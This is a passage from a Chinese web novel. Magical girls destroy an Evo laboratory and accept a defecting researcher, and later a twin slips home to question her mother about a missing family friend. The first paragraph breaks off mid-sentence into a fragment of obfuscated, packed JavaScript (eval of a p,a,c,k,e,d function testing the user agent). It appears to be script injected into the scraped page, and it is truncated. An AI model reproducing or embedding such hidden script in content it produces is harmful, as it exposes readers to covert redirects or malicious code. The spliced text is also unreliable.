艾克里普使用了与之前如出一辙的做法,而犬山晓则是直接使用了以血液高温燃烧为基础的腐蚀魔法,在有血液作为载体的情况下,所有物体都迅速化为黑色的粉末,而那些杂七杂八的液体也一同消逝了。 最内部的区域并不比其它区域面积更大,但其中储存着的物品却与那些天差地别。 艾克里普看着那如书本一般陈列着的特殊器官和标本,死物以生前的模样被悬挂于墙面,或者说其组成了墙面,福尔马林的味道混杂着消毒水的气息充斥空间,冷光透过液体凝视人类,这里是资料库,不仅仅是文本资料。 她不认为人类需要这样的资源,更别提这些得出的结果绝对不会面向所有人类,而是为某些人所有。 空间内仅有三人,她们在门发出异常响动的一瞬间就启动了紧急防护措施并躲到了设备后方,大量的隔离栏杆一道道落下,金属与地面的碰撞听上去像是枪声,而那天花板上个别砖块裂开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但她自己心里还是认可厌恶心理的连带行为的,虽然因一个人讨厌一个群体可能是错的,但这种做法确实让她避开了许多伤害。但反过来说,她也因为自己的母亲和伊提阿姨的存在对科学研究者这个整体抱有好感,她倾向于只对那些与这件事纠葛很深的人进行打击报复。 犬山晓没有使用魔法,快速将研究人员都击晕了过去。森山寺未央上前让手下骑士把那些人都抱起来放到外面去。有乐羽生见这里的事务处理得差不多了就转身去找艾克里普。 艾克里普销毁了下一扇门,惊讶或惊慌的声音没有出现,只有血腥味扑面而来。 空间内,七个研究员横七竖八地躺倒在地上没有气息,白色外套上血液格外显眼,四周有从那些尸体溅射而出时沾上的血液。天花板上枪口还冒着烟,其对准的方向很好地说明了那些人是如何变成尸体的。 那些尸体的一旁的控制台边,一个同样衣着的研究员冷静地站在那里,就好像这一切都和她没有关系,但她的衣角没能避开血液的污染,甚至裤腿上还有着血手印。她没有表现出丝毫的意外或者不安,只是双手平举表示自己的无害。 “这些,是你做的?”艾克里普看着地上的尸体。 “她们知道你们来了,准备反抗。”那人冷静地说,“这个区域的应急处理措施会将一切资料备份并发送给总部,包括监控录像。” “所以你就控制那些枪射杀了她们,因为你知道我们所做的你们无法阻止,你在投诚?你觉得我们会因此而放过你吗?”有乐羽生尽量不去看尸体,但脸色依旧苍白,说话也没了委婉的余地。 “我杀这些人,是因为她们该死。这些人是核心实验室的研究人员,各负责信息筛查评估模型更新等一系列人体实验的基础。”那人冷静地说。 “你呢?”艾克里普上前一步挡在有乐羽生身前。 “…我也是一样的,但我希望你们听完我说的事再做决定。”那人没有放下双手。 “你最好不要说谎。”有乐羽生说。 “你们刚才处理的区域是最终执行区,而这里是实验数据处理区,这两个区域是整个实验场所的核心区域,这里的人的限制也比其它区域的人多得多。”那人面无表情,“比如说生命体征监控,我还活着,她们死了,我摆脱不了关系。” “既然你知道那些人的手段,那你应该清楚自己这么做面临的后果是什么。是什么让你面对这么大的风险做出这种事?”有乐羽生问。 “一方面是你们,我对这里的监控权限信息有所了解,你们的所作所为让我决定相信你们以后也能达成最终的目标,也就是摧毁新区的实验室。”她稍微点了点头,“让我自我介绍一番,我的名字是银杉由卡,本来是Evo旗下实验区最终执行区域的工作人员之一。” “你是那里的工作人员?那你为什么会出现在这里?”艾克里普追问。 “就在不久之前,在我的刻意疏忽下,本应在下一轮注射后封存的实验体67号离开了观察区,我在经过记忆处理之后依旧没有获得离开的资格,于是被安排到这里的实验室作为数据处理人员。”银杉由卡说话间有些遗憾的情绪。 “67号,启明星侦探的助手六十七号先生,他是因为你而逃出实验室的?”艾克里普想起了这件事,不由得有些意外,没想到会在这里遇到当事人。 “所以说你为什么要这样做?你知道自己不会因为这件事面临更糟糕的后果吗?”有乐羽生追问道,她不相信能做到面无表情地杀死自己的同事的人会因为一时的同情心冒着被杀的风险放走实验体。 “…事实上这件事的具体经过在我接受记忆处理之后已经模糊不清了,我没有这样做的理由,但这件事确实发生了。”银杉由卡说到这里沉默了一会,“所以理由一定是存在的,但是我忘记了。不过动机我还记得,那是因为我不认可放弃实验体的做法,也对实验的目标并不认可。” 有乐羽生抿了抿嘴,她并不想接受“忘记了”这样的答复,但这确实是有可能会发生的。那些孤儿们就是接受了洗脑之后进入孤儿院。 “实验的目标是什么?”艾克里普问。 “曾经的我作为一线研究员是知道的,但现在我不记得了,但就那些数据而言,我的推论是关于人造生命的,你们应该也见过了吧,那些怪物。”银杉由卡说,“实验体中大部分受试者都会在最后被封存,再使用时就是那副样子。” “那些魔物?到底是为什么要这样做?”艾克里普还是不理解,但她没有太纠结于这个问题,她不认为自己需要理解一个疯子,“我们会阻止这一切,你知道你的领头人是谁,曾经待过的那个实验室在哪里吗?” “抱歉,我不知道。”银杉由卡摇了摇头。 “你认为我们会放你走,因为你‘可能’曾经反抗过我们的敌人,并且认为自己相对来说是更加正确的人吗?”有乐羽生问。 “不,我并不是唯心主义者,你们既然找到了这里就一定调查过孤儿院,你们处理完这里之后还需要考虑善后和孤儿们的安置问题,那位院长根本不会在意那些。”银杉由卡说。 “她要死了,博蒙自己说的,她很快就要走向死亡了。”有乐羽生说。 “这样吗?”银杉由卡愣了愣,“那你们就更需要一个处理这些的人了,这里的管理层陷入混乱后Evo很快就会插手,如果你们在意那些孤儿的去向的话就需要在那之前将一切安置好。身体素质与疾病疗养评估本就是我所属的工作。” “你准备怎么做?”有乐羽生问。 “对无自主生存能力的孤儿进行安乐死,在这方面的评估是很严格的,毕竟原先这算是一种浪费。”银杉由卡说。 这正是有乐羽生在意的点,她无论如何都无法放下那些孤儿们,而她也清楚她们大概率并没有十足的信心和手段完善地处理这一切。在她看来银杉由卡的冷静也是她体现自我价值的一部分,而且,她本身并没有威胁。 “你擅长这种工作吗?”艾克里普问,那些孤儿再次落入虎口也是她不愿看到的,有人能出手帮助是最好的。 “我擅长的很多,也有长期工作经验,项目管理是其中一个。”银杉由卡冷静地说。 “我们会把这里的实验室销毁。”艾克里普说。 “不需要询问我的意见,我本就没有选择的余地。同样的,你们如果不知道如何处理那些研究人员的话就由我代劳,我了解这里。”银杉由卡看向了地上躺着的尸体们。 有乐羽生看向艾克里普,她无法拒绝这些提议,艾克里普也点了点头。 “我们不会对你动手,但我会经常来查看的。”有乐羽生看着她说,“现在去最外面的区域等着吧。” 银杉由卡点了点头,她放下自己的双手,并没有表现出松了口气之类的放松,自始至终她的神情都没什么波动,就好像即使自己没有说服成功也无所谓一样。 有乐羽生看着她的背影,将对方的事告诉了森山寺未央和犬山晓。艾克里普进入室内处理起了一切,包括那些尸体和血迹。 【既然她知道我们能随时回来看,就也不会做出什么不好的事吧,不过她选择向我们投诚是为了什么呢?】犬山晓好奇。 【她说是觉得我们能摧毁Evo的实验室,讨厌老东家是常态。但我不认为这件事对她而言是有利可图的,或者难道她只是想要活下去吗?】森山寺未央说。 【可能和当时她选择放出实验体的理由有关吧,】有乐羽生说,【她认为自己那样做能让自己离开这一切,现在大概也是这样想的。】 【无论如何,有她帮忙很多事都有解决方案了,我们在这里要做的事情都做完了。】艾克里普松了口气,她觉得自己很久没有这么大的工作量了。 【也是,大家辛苦啦,我们该走了。】有乐羽生说。 【走吧!未雅还在等我们呢。】森山寺未央说。 【是时间回去啦,天也快黑了。】艾克里普露出了轻松的笑容。 【嗯,走吧。】犬山晓也点了点头。 太阳略微西斜时分,一辆黑色轿车驶入西部市区Evo侧门,走小路,畅通无阻地抵达了其目的地,娱乐楼后门楼梯口。车辆停顿,未熄火,后门自动打开。 二人走上前去,打头的那一位青年看了一眼驾驶座,那上面空无一人。她冷笑一声,伸手将因没系安全带而滚落到腿部空间的格雷伊拎了出来,丢给了站在她身后的青年。 “带去医疗区,重点检查头部。”两手空空的青年摔上车后门就准备离开。 车门上锁,空旷车厢结束工作后离开,背影轻快。 “好的教练。”避开头部托着格雷伊的青年看着前者的背影,欲言又止。 “什么事?”教练回头。 “CEO她还会回来吗?刚才有人给我打电话。”青年紫色围巾没能遮住的上半张脸面露为难,“犬山那边要我去远程增援,但打击点坐标需要我移动至东区港口那里。” “我管不了她的工作范围。”教练皱眉,“你先去医疗区。” “好的!”青年松了口气,带着格雷伊转身走进娱乐楼内。 教练看着青年迫不及待离开的背影,从罩裙口袋里摸出手机拨号。 “您好,需要留言请按1——” “你出发前怎么交代任务的?”教练冷声打断拨号应答。 “…应该是说了类似随机应变的多功能性答案来着,事出突然,敬请谅解?” “你的位置。”教练质问。 “不如问阿尔卡纳?那孩子在诚实这一点上比我做的好太多了。” “利奥拉说什么了?”教练换了个问题。 没有应答。 “你没见她。”教练用陈述句质问,她嗤笑一声,“你有同事恐惧症?或者干脆说是工作过敏?你有考虑在博蒙的医院购买体检服务吗?她说不定愿意亲自给你的大脑动刀子。” “人际关系中距离感很重要哦?相亲相爱也是需要中场休息的。” “这句话你怎么不对利奥拉说?”教练不为所动,“我不记得你还留着尊老爱幼这一症状。” “…事情经过我都了解了,虽然曲折,就结果而言没有需要改动的地方。这方面不必再多言,落幕的时间到了,我处理完这批素材之后返回。” “我会计时。”教练表达了充分的不信任,“医院的状况如何?” “无聊。” “…你最好是再回答我的问题。”教练说。 “两出戏都很无聊,悲剧和喜剧,转折或平铺直叙,伦理道德哲学,无聊透顶。” “我自己和利奥拉谈。”教练挂断了电话。 46.duodecim 市区在这一天发生了许多事,但这与在有乐羽生家里替她补课的森山寺未雅无关,意思是她没参与,她在补课。这些课业中值得拎出来讲的难点大多曾出现在入学考试卷面上,所以对她来说算不上难点,也就没有什么可以学的。 按照先前有乐羽生的排表,若是寻常空闲日,她还会参与一些交流活动或者接着去其它地方上其它课。但近期有乐千奈对她和公共场合之间的联系过敏,她彻底不被允许出门了。 而部分过敏源显而易见,她们在西部市区的大街上现在每十米出现一些。 但什么情况能让非私自出行时周围都会带上保镖和司机的大小姐都无法应对呢?森山寺未雅的目光落在了书桌,有乐家的午餐后甜点是报纸。细细想来,森山寺未雅惊觉这是自己今年第一次接触这纸质媒体转播介质,没了声音带动情绪,文字为展现自身价值,配合些许照片想方设法地扭曲成奇形怪状。 筛选掉那些无关的,“白夜社代表天生目池元以破坏人伦道德,危及社会共同安全为由,正式除名亚贝琉家族与天不渡家族。”,“市区多处出现暴力现象,请注意回避。”种种危险字样充斥着版面。 天生目池元在名字不和白夜社连在一起的时候职位是市财政审计长,照片上年过六十的她精神抖擞,是连任三届的民选之星,具体发言为“让每一笔账都有理有据”。森山寺未央用有乐羽生的电脑翻了翻百科,此人近十年来多次挖出基建项目预算漏洞并推动招标,项目预算平衡,监督系统的披露,且活到现在。 近期最大的一次舆论风波源自市财务部副部长被枪杀,经调查枪手为其政敌培养的刺客,再加上近期风波不断,前浪就这样被拍死了。 天生目池元在名字和白夜社连在一起的时候,只是普通公民。白夜社非基金会,非智库,更非监督组织,仅作为民间私人非盈利协会存在,并不公开任何内部信息。 十年前她第一次这样做时发言内容为“天生目池元作为白夜社代表正式接过发言权”,占据市民间新闻报角落的一小块,只有一百字不到的篇幅,在各民间论坛激起过不小的水花。但大多民众不能确切地定论白夜社到底是个什么东西,知情者也不会主动透露。白夜社的发言又大多是一些与社会无关的结社内部事务总结,内容堪比“我家的衣柜门坏了”。 谁在乎?谁想知道?谁想了解?偏偏这小小的一块就和广告板块一样消之不去。记者调查过采访过打探过,问过“您是否与□□事务行动相关?”,最后也仅能得到一句“我以公民身份发表个人言论,仅代表私人观点,不映射任何职务立场和政府机构”类似的免责声明。 久而久之,类似发言在大多看报者眼里就如广告,看到了就觉得烦。 但是知情者都有谁呢?森山寺未雅有些疑惑这个“知情者”的定义,很快她就发现自己绝对不算其中一个。对于非知情者该发言没有意义,她这样想着看起了别的板块。 但报纸上的新闻,哪怕发生的日期再新鲜也至少是昨天,油墨印刷需要时间,包装派送需要时间,真正的一手实时新闻还是得看连负责都不需要的网络直播。 果然很无聊,森山寺未雅给予低度评价,放下了报纸。 但思考的空间还是有的,她决定开始安排自己下午要做的事情。 先是前篇后续,她需要寻找伊提阿姨留下的东西,并且是“为她们”留下的东西,它们现储存于森山寺家的各个角落。 那么我怎么离开这里呢?森山寺未雅思索着。 魔法已经对她不再保持神秘,刚才她就在有乐羽生的房间里看到了空间坐标锚点水晶,结构简单到像是某种天生如此的自然矿石,但从另一种方面来说确实如此。她猜测空间魔法大概率是有乐羽生作为魔法少女天生就掌握的魔法,使用大概就和扯下头发一样简单吧。 但这也意味着森山寺未雅没法模仿它的构造,她无法使用空间魔法离开这里。那接下来的选项就很少了,她若是使用森山寺未雅的化影离开,那消耗在来往于两处以及搜索的时间至少要两个个半小时。这个时间内但凡有一个人敲响有乐羽生的门就会发现她们家大小姐消失了。 但这也并不是绝对不可行的,她只需要一个绝对不会被人打扰空间。 “下午请送我去学校,我有作业要用的材料需要拿。”森山寺未雅找到管家,她早就看透了这个人完全听从有乐羽生父母的吩咐,不可能顺她的意思行动。 “今日情况特殊,请小姐见谅。”管家面色为难地说。 “我只是过去拿东西,不在那里停留,这也会有危险吗?”森山寺未央的脸上流露恰到好处的怀疑与坚持。 “是的,今日大部分居民都会选择闭门不出吧,小姐如果觉得无聊的话不如试试通过电话与同伴聊聊天?今天下午的话我可以为您准备一些点心哦?”管家拿出哄小孩的语气说。 但实际上这位与有乐千奈年纪相仿的管家是这个屋子里唯一会将有乐羽生看作是孩子的存在,她从这栋房子被有乐千奈买下起就作为管家在这里工作,勤勤恳恳,日复一日。 有乐羽生的心情这位工作者知晓一二,但有乐千奈认定管家的工作是管理好这栋屋子里的一切,而不是管理屋子里居住者的心情。森山寺未雅推测有乐羽生知道这位工作者的为难,所以通常不向她求助。 但这并非意味着这位管家不愿意感受有乐羽生的感情,森山寺未雅认为这是可以利用的。 于是她露出了超出礼貌程度约四分之一左右欣喜的微笑。 “那我想尽快写完作业再吃点心,请在下午四点之前不要来敲我的门哦。”她表露出一副要努力工作的模样。 “当然,小姐真是努力。”管家慈祥地笑了,她比有乐千奈年轻些,但面相是上天赐予的。 森山寺未雅点头,先回到有乐羽生的房间把门关上,随后来到书房,使用手表连上有乐羽生的手机下载了一个简易的实时报警发声软件,并将其隐藏在摊开的书堆中。 随后字面意思上地如一抹影子一般从有乐羽生的房间窗户离开了这栋屋子。 为了防止那些开车跑去另一个城市的人回来的太晚,森山寺未雅没有结束变形魔法,结合化影魔法加上加速魔法快速回到了公寓,找了件带大兜帽的外套,带上家里的钥匙,随后从附近的公交车站坐上了前往父母家里的车。 森山寺家与日之森在同一个城市的不同区,日之森与市区都在西边城市区域,而森山寺家在东边城市区域北部居民区,从有乐家或日之森前往东西两边市区的路是不重复的。 好在两点间有市内环线和直通车,姐妹二人双休日回家的路不算远。 东部的城市区域是在西部市区转移之后开发的,街道路面设施和建筑采用新材料新结构,所以又被称为新城区。随着招商后投资者的大力支持,二十年里办公楼逐渐林立,附近的居民区建筑也密集了起来,商业发展,房价自十多年前起就一直在涨。 森山寺姐妹的妈妈森山寺镜在新城区的一家新能源材料跨国企业就职,由导师引荐,读博期间加入企业绿色能源专项项目组,后晋升为工程项目组总工程师,在家宅内属大发明家兼环境安全管理员。 森山寺姐妹的爸爸森山寺波则是作为立体油画派艺术工作者毕业自本地院校,在其作品的收藏价值稳定下来后在东部市区成立了自己的画廊及工作室,在家宅内属空间管理员及饮食营养结构大师。 相遇阶段不提,2006年二人婚后因工作原因搬迁到新城区,并在这里定居了下来。 虽然新城区没有日之森那样规模特大的学校,但知名高校选择不少,可以说如果森山寺未雅没有出现精神问题,那她们姐妹二人就会一直待在东部市区附近直到高中毕业。因“新”这一用词,大部分东部市区的老居民都对西部市区的风土人情城市面貌带有批判精神,反之亦然。 在跨高速的双层大巴上,森山寺未雅看着窗外那并不算陌生的风景,却感到了一些不同的情绪。 胸腔一共就那么多的空间,可这时她却感觉心脏搏动地格外地轻松,如果有风吹进去的话,那里就会像热气球一样带着她腾空而起了吧。 森山寺未雅在目的地车站下车,往常会有家长中的一个负责车站接送,但今天她临时行动,就得自己想办法回家了。 但无论如何距离都不算远,森山寺未雅化影后挑近路走,五分钟不到就看见了自己的家门口那熟悉的不欢迎感。 按理来说这个时间家里不会有人,于是森山寺未雅没有再隐藏自己的身型,从院子的大门外部翻进,避开那些被刻意设计过位置的花花草草成功落地在石砖上。 随后她从口袋里摸出家门的钥匙,正准备打开门锁时,院子外大门处设置的可视化门铃却发出了广播声。 “站在那里不要动。”带着些电波杂音的声音传来了。 森山寺未雅认出这是她妈妈的声音,意识到这一点之后她的心里又欣喜又害怕,她外表还是有乐羽生的模样,虽然不知道为什么现在她妈妈没在上班,但毋庸置疑的是她对坏人是不会手下留情的。 在大洋彼岸读书的那十多年给了这位学者充足的时间适应枪支使用者的存在感,并成功加入其中。 要现在跑走吗?森山寺未雅心里有些犹豫,但门的另一头传来了说话的声音。 “你是谁?”她问道。 这里说是同学就好了,之前她们看过录像带,认识有乐羽生的脸,但之后她在家里翻东西就不太能放得开了。森山寺未雅心里有了决策,这时门开了,站在屋内的森山寺镜上半身是衬衫和领带,下半身是休闲裤。 她的妈妈正在看着她。 “妈妈,是我。”森山寺未雅说,随后她就意识到这太像古早的电话诈骗了。 更别说诈骗者现在就当面站着,脸都没有完全遮住。 森山寺镜扶了扶眼镜,厚重镜片后的眼睛眯起,并非质疑,而是因为脑力工作者绝对无法避免的近视,而且还是高度近视。这让森山寺未雅想起她们姐妹二人之前都有近视现象,妈妈还因此愧疚过一段时间。现在二人的视力都变得好过头了,她都不知道该怎么解释这件事。 “哦!”森山寺镜突然恍然大悟,她快步走出屋子,靠近观察森山寺未雅的脸,“这不是未雅吗?怎么这个时候回来了?” 森山寺未雅无言以对,她早就知道自己的妈妈很擅长分辨双胞胎中的二人谁是谁,但没想到她也同样擅长隔着魔法认出谁是谁。 “我们学校今天停课了,就回来找一些东西。”森山寺未雅心里有些感动。 “好像西边确实发生了什么大事,虽然与这里无关但我们老板今天也让我们居家办公了。不过波他去了工作室就看不到这份惊喜啦。”森山寺镜扯了扯森山寺未雅的脸,“我们未雅的脸怎么变成这样了呀?” “是化妆,妈妈我们化妆玩呢。”森山寺未雅放任妈妈拉扯自己的脸说。 “头发呢?头发怎么变成白色的了呀?”森山寺镜揉了揉有乐羽生那银白色的头发。 “是假发,妈妈我们准备下次演出的道具呢。”森山寺未雅面不改色地说。 “感觉身高也变矮了,之前你们应该有这么高才对?”森山寺镜比划着说。 “这顶假发比较重,妈妈我脖子有点酸所以弯着呢。”森山寺未雅摇了摇头。 “原来是这样!”森山寺镜恍然大悟,“刚才听到动静我还以为有老鼠进了我们家呢。” “这里最近有老鼠吗?”森山寺未雅没有听说过这种事。 “最近公司里经常有人说,半夜有黑影进入家中,第二天早上发现丢了些东西。”森山寺镜放开了自己女儿的头,转身回了屋内。 “妈妈那个是小偷。”森山寺未雅也跟着进了屋。 变形魔法没有任何波动,森山寺镜发自内心地没有怀疑森山寺未雅说的话哪怕一分毫。 “不过我们家附近没有出现这样的事情啦,还挺遗憾的,未雅吃过饭了吗?波他早上做了东西放在冰箱里。”森山寺镜说。 森山寺未雅换上拖鞋,心里对一切都感到无比熟悉,但这才是正常的,这里是她的家。 “我吃过了,不过如果是甜的东西那我要吃。”森山寺未雅非常自觉地一路走到厨房拉开冰箱,生鲜食材,半成品,熟食,乳制品和果汁,堪比小型市场的空间展示了其主人对这里的控制力。 这里完全由森山寺波负责,或者说除了家政机器人能做的,家里的一切都由这里的男主人负责规划。 这些陈列的顺序从森山寺姐妹出生起就没有变动过,拉开冰箱就像是拉开了记忆的保险箱,她精准地找到了放着甜品的保温盒。 “是年轮蛋糕!”森山寺未雅喜出望外,她特别喜欢这种必须配合饮品才能下咽的厚重口感甜品,而森山寺未央则更喜欢吃了和没吃一样的奶油制品,但也是没出现过一个人只吃蛋糕胚一个人只吃奶油的情况,源自她的努力。 “盒子里的只能吃一半哦?”森山寺镜在餐桌边坐下,从橱柜里摸出两个玻璃杯倒了些水。 森山寺未雅特别自觉地分出一半蛋糕在盘子里,另一半放回冰箱。随后她带着蛋糕与勺子回到餐厅,坐在了森山寺镜的旁边。 “未雅是回来找什么东西的吗?”森山寺镜撑着脑袋问。 “我们想找伊提阿姨以前留下来的东西。”森山寺未雅如实回答,森山寺镜听闻后有些意外,但也没说什么。 随后她想起自己也应该问问自己的妈妈关于那位神秘的阿姨的事情。从前她们还小的时候对这位偶尔出现在家里的阿姨的背景不感兴趣,后来她很久没来拜访,姐妹二人也就不再去思考关于她的话题了。 “妈妈,你和伊提阿姨是怎么认识的呀?”森山寺未雅问。 餐厅内因甜品被分解而弥漫着糖分的气息。 “关于这个呀,我想先。我们是大学同学,上课那时候我们对学校里那莫须有的学院争端看法一致,也都和别的那些同学聊不起来,所以偶尔能在食堂聊起来。不过后来我们的就业选择不一样,就很少联系了。”森山寺镜想起了自己大学时的时光有些怀念。 森山寺未雅看着对方谈起自己没朋友时理直气壮的语气,不免有些怀念。 “但是按照年龄算的话,伊提阿姨应该大上不少吧?”森山寺未雅想起克拉拉,她看上去大概是三十岁左右的样子,作为其导师的伊提在十多年前就应该是三十岁左右才对,而森山寺镜今年42岁。 “是的,不过具体我就不知道了。我大四的时候上的化学课教授的助教是她,她说话挺有意思的,同时她当时在读学校里的一个化学相关的博士研究项目,有透露一些研究周期的问题。当时我已经在考虑硕士和博士的学位选择问题了,她似乎对学校里很多教授和实验室有所了解,于是我就询问了她的建议。”森山寺镜没有犹豫地说。 这样的话题让森山寺未雅有些恍然,她想不出自己妈妈作为学生时的模样。 “那个时候是各种化工巨头的黄金期,于是我问她,学校里那些排名不错的化学工程和材料项目的老师和认可度如何?”森山寺镜讲起这里笑了,“她让我多想想。” 千禧年之前化学博士的毕业难度与其毕业后的薪资还成绝对的正比,但理论和实验是两座无法跨越的大山,学者所面对的研究周期开始前与结束后的世界可以说是无法相提并论的。那时的博士在读生若是推荐其它学生远离自己所在的项目,那就是她认为自己所经历的和自己会获得的绝对不成正比了。 森山寺镜的院校放在现在也是世界顶级的理工科院校,但时过境迁,技术与平台都借着名为人工智能的东风吹向了另一个方向。 “伊提阿姨也是和妈妈一样研究新能源工程的吗?”森山寺未雅吃着蛋糕问。 “应该不能是,她的博士项目实验室研究方向是生物化学倾向,实验研究细胞工程,后来听她说是被另一个名气不大但经费很足的研究中心里的基因工程实验室招募了,之前看到她来找我还吓了一跳呢。”森山寺镜扶了扶眼镜,笑了笑。 “为什么?”森山寺未雅将信息在心里记下了。 “因为这里的研究中心基因相关的实验室设备都很一般,我以为她会再考一个学位后再开自己的实验室课题或者直接应聘终身教授。按照她的话来说,地球是宇宙的器官,讲究自然选择,她所研究的一切都是为了长远的健康。似乎她的这套理论合乎那个研究中心的探讨主旨,所以我以为她会一直待在那里的。”森山寺镜叹了一口气,她无法说对方的选择是对是错,但能在这里见到老同学总归是令人欣喜的。 森山寺未雅思索着咀嚼年轮蛋糕,森山寺镜看着她这样,又笑了起来。 “不过她也没和我说她现在的职业,大概是需要保密,不过她很喜欢你们吧,会不会有偷偷地和你们说呀?”森山寺镜期待地看向吃蛋糕的森山寺未雅。 记忆中其实是没有的,但森山寺未雅结合了一些细枝末节,大概能猜测到一些。 “阿姨她没和我们说过关于她职业的事情,希望是合法的吧。不过我听她说自己有一个女儿,妈妈知道这件事吗?”森山寺未雅摇了摇头问道。 听到这个问题令森山寺镜眨了眨眼,森山寺未雅知道这是因为惊讶。 “这是能被打听到的八卦吗?不过伊提她确实有个女儿,名字叫爱丽丝。”森山寺镜说起这件事语气里有些犹豫,森山寺未雅对此感到疑惑。 “我们从来没有见过这位爱丽丝吧?”她问道。 “是的,”森山寺镜想了想,说道,“那孩子患上了急性白血病,在2005年左右去世了,伊提她说她曾经为了研究特效药去国外组建实验室研究靶向药,但后来还是没来得及。” 大概是2005年之前,伊提组建实验室,成员是克拉拉,后来她因不知名原因回到这个国家,并且2013年后失去联络,森山寺未雅总结。 “原来是这样。”森山寺未雅点了点头。 “虽然我从未见过伊提的伴侣,但以她的性格不会选择形式上的婚姻。比起大学时期,她消沉了许多,但依旧能和你们聊的起来,我以为她会一直那样直到再次振作起来。”森山寺镜又叹了口气,“不知道她现在如何了。” 在千禧年之前前往海洋的另一边完成学业还是个艰难的选择,森山寺镜归国后就没想过自己还能见到大学里的同学或同事,所以哪怕伊提与她曾经的关系称不上密切,但随着对方一次次的拜访,二人也逐渐成为了能一起喝酒的关系了。 “如果可以的话真想再见她一次呢。”森山寺未雅说。 记忆中那位很少露出笑容的拜访者的面容虽然还没有模糊,但如果本来就了解的不多的话,那再如何回忆都是无法找到新的东西的。 “伊提的东西我也不知道在哪,未雅就到处找找看吧,”森山寺镜的手表传来振动,“结果出来了,我得回办公室,今晚要留在这里睡吗?” 这样的询问令森山寺未雅感到安心,即使这本来就是她一直以来拥有的权利。 “未央她们还在等我呢,一会我就走了。”森山寺未雅笑着说。 森山寺镜推了推眼镜,也露出了笑容。 “总感觉未雅活泼了不少,这样就好了。”她摸了摸森山寺未雅的白色脑袋,“过几天见啦。” “过几天见。”森山寺未雅点头。 将盘子放进洗碗机后,森山寺未雅正式开始在家里寻找可能存放着目标的地方。 首先从地下室开始找吧。 森山寺家宅是2005年装修完毕的现代化居住建筑,加上地下室一共四层半,从大门进入玄关的换鞋区就能看到被挑高的客厅,进入客厅的右手边是上下楼梯,往下走是地下室,往上走半层楼是客厅与餐厅。再往上,二楼空间最大,那是森山寺镜与森山寺波的空间,三楼属于姐妹二人。 地下室有一处玻璃天窗连通花园,小时候森山寺未央很喜欢趴在那块玻璃上吓任何一个出现在地下室里的人,可所有人都知道她会出现在那里,于是她其实也吓不到多少人。玻璃的正下方放置着较矮的沙发和茶桌,这也是属于姐妹二人的,躺在沙发上看天窗上停靠的鸟和虫子是森山寺未雅喜欢做的事情。 森山寺未雅的记忆力很好,她看着那处小角落,眼前自动浮现起了过往的记忆,这种感觉就像走进了陈放着回忆的图书馆,里面的每一卷书她都读过,于是她只要看见封面就能想起其中的内容。 地下室本来的用处是酒吧与电影院,一下楼梯就能看见调酒用的三米长大理石吧台,以及后方成列的酒具和藏品。这是装修时就定下的设计,可这一家子人都在“交朋友”上屡战屡败,于是吧台与调酒工具变成了姐妹二人的玩具,电影院的大屏幕也沦为了游戏显示屏。 地毯上有块黄斑,那是她们小时候调“可乐曼妥思”时留下的痕迹。 再往里处走就能看见存放旧东西的储藏间了,门半掩着,打开后一股旧东西的味道扑面而来,或者说那是灰尘的味道,她摸索着打开了灯,举步维艰地跨过地面上的非障碍物往里面走。 小时候骑过的电动三轮车,被改造过的滑板,贴了名字的电子小狗,跳舞机,旧主机,旧显示屏,旧画材,旧笔记本电脑,真的能射出东西的模型枪,各种在少儿科学杂志上介绍过的仪器,随杂志附赠的玩具,儿童溜冰鞋,溶胶枪,模型组件。 如果说回忆能实质化的话,那结果一定是森山寺未雅眼前的东西,每一个她都能讲述那曾经发生过的事情,每一个都是双份的,每一份都是询问过两个人的意见之后再选择的两个。 所以那架子上唯一为单数的存在就显得额外的显眼,森山寺未雅抬起手小心地取了下来,那是一个小巧的木盒,一只手就能捧起来的大小,外表有些许磨损,没有锁,打开后她才意识到这是一个八音盒。 这是伊提曾经一次拜访时为她们带来的礼物八音盒,据其本人所言,似乎是因为结构特殊的原因只有一个。当时姐妹二人为其归属和使用权吵了好久,最后是她们的爸爸决定将其放置在客厅,由她们家的所有人拥有。 “这是送给未央和未雅的。”伊提阿姨这样说过,但连鞋带的结都要一模一样的两个人怎么可能接受这一点,森山寺未雅想起这些不禁笑了。 打开木盒,其中除了裸露在外的齿轮与弹簧之外全都是木质的,无品牌标志。森山寺未雅想起当时未央每次看见八音盒都要转两圈把手,所以她也转两圈,后来可能是某个部位逐渐生锈了,八音盒的音节开始逐渐缺失和走调,她们就不再对此感兴趣了。 此时森山寺未雅再次转动把手,齿轮开始旋转,几个走音的音符蹦出木盒,为昏暗的储藏室增添了一份恐怖色彩。 森山寺未雅关上了盒盖,那时她天天听相同的旋律而对此无比熟悉,它并不来自任何经典曲目,也并不动听,那时的她便萌生了“把这个旋律改一下变得好听”的念头。 而那份被小心翼翼塑封起来的简易乐谱,就是她为此作出尝试的证据。 这个八音盒没有什么特殊的地方,唯一特殊的地方就是伊提只给予了她们一个,森山寺未雅站在她的角度去想,没有什么理由让她给予一对双胞胎一份单独的礼物,八音盒的构造并不特殊,哪怕是定制的也一定有办法定制两个一模一样的,或者说两份旋律不一样但外观一样的八音盒。 所以反过来想,如果伊提想要给她们留下些什么,那这个八音盒就一定是为此而存在的。那份曲谱被放在公寓里,需要等她结束在这里的探索之后再对它进行推理。 想通了之后,森山寺未雅将八音盒带在身上开始搜寻其它地方。 地下室其它区域内没有什么值得注意的东西了,森山寺未雅关上灯回到了一楼。 森山寺家中随处可见艺术品,但与有乐羽生家里的高价值藏品不同,这些艺术品多数由森山寺姐妹协助森山寺波进行创作,并在进行保存工艺后被摆放在显眼的地方。 就比如客厅的长沙发后方的墙上那幅巨大的立体画作,若是乍一看可能会将其误认为是多种木头的横截面拼凑而成的,但仔细看就会发现那些刻痕都是用油画颜料刻意模仿出的笔触。它来源自一次家庭露营,看见老松树残留的树桩的姐妹二人无论如何都想要将那横截面切下一段带回家。 这件事是否被营地允许还不好说,哪怕对方允许,基本上都是室内工作者的森山寺一家无论如何都想不出来怎么把横截面锯下来搬回家,那巨大的树桩能让一个小孩躺在上面睡觉。 谈判过后,姐妹二人勉强同意了“回家画一幅一模一样的出来”这个做法。 森山寺未雅收回思绪,客厅不是存东西的地方,她转身前往楼上。 